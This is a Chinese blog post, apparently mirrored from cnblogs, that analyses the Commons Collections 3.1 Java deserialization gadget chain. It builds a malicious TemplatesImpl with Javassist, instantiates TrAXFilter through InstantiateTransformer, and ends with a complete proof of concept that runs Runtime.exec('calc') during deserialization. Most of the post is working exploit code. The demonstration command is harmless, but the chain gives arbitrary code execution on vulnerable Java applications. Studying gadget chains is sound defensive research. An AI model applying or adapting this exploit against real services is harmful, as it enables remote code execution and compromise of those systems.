zoukankan      html  css  js  c++  java
  • CommonsCollections3 反序列化利用链分析

    InstantiateTransformer

    commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformertransform方法 ,如下:

    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);
    
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }
    

    其中这两行 getConstructor 获取有参数构造函数,然后newInstance执行有参数的构造函数。iParamTypesiArgs 均可控。

    TrAXFilter

    这里首先来一段代码

    public static void main(String[] args) throws Exception{
            template().newTransformer();
        }
    
        public static TemplatesImpl template() throws Exception {
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.makeClass("Test");
            String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] targetByteCodes = new byte[][]{classBytes};
            TemplatesImpl templates = TemplatesImpl.class.newInstance();
    
            Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
            Field name = templates.getClass().getDeclaredField("_name");
            Field tfactory = templates.getClass().getDeclaredField("_tfactory");
    
            bytecodes.setAccessible(true);
            name.setAccessible(true);
            tfactory.setAccessible(true);
    
            bytecodes.set(templates, targetByteCodes);
            name.set(templates, "aaa");
            tfactory.set(templates, new TransformerFactoryImpl());
    
            return templates;
        }
    

    上面代码运行会弹出计算器。

    TrAXFilter 类的构造方法中同样发现了调用了newTransformer方法。

    public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }
    

    所以我们的目标是要实例化TrAXFilter

    结合上面的 InstantiateTransformer 类的transform 方法刚好满足需求。

    TemplatesImpl template = template();
    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{template});
    instantiateTransformer.transform(TrAXFilter.class); // 获取 TrAXFilter(Templates templates) 并实例化。
    

    之后就和 commonscollections1 差不多了,用 TransformedMap.decode 包装下。

    得出poc

    TemplatesImpl template = template();
    Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{template})};
    
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map hm = new HashMap();
    hm.put("value",1);
    Map decorate = TransformedMap.decorate(hm, null, chainedTransformer);
    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    declaredConstructor.setAccessible(true);
    Object o = declaredConstructor.newInstance(Target.class, decorate);
    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(o);
    oos.close();
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    ois.readObject();
    
  • 相关阅读:
    okhttp进行网络传输文件
    bazel、tensorflow_serving、opencv编译问题
    Linux下设置和查看环境变量(转)
    std::move的实际工作过程
    虚拷贝
    移动构造函数和移动赋值
    while(cin>>word)时的结束方法
    转:windows下命令行工具
    eclipse大括号高亮显示---颜色很淡,改为显眼的颜色
    转: Eclipse 分屏显示同一个文件
  • 原文地址:https://www.cnblogs.com/depycode/p/13655005.html
Copyright © 2011-2022 走看看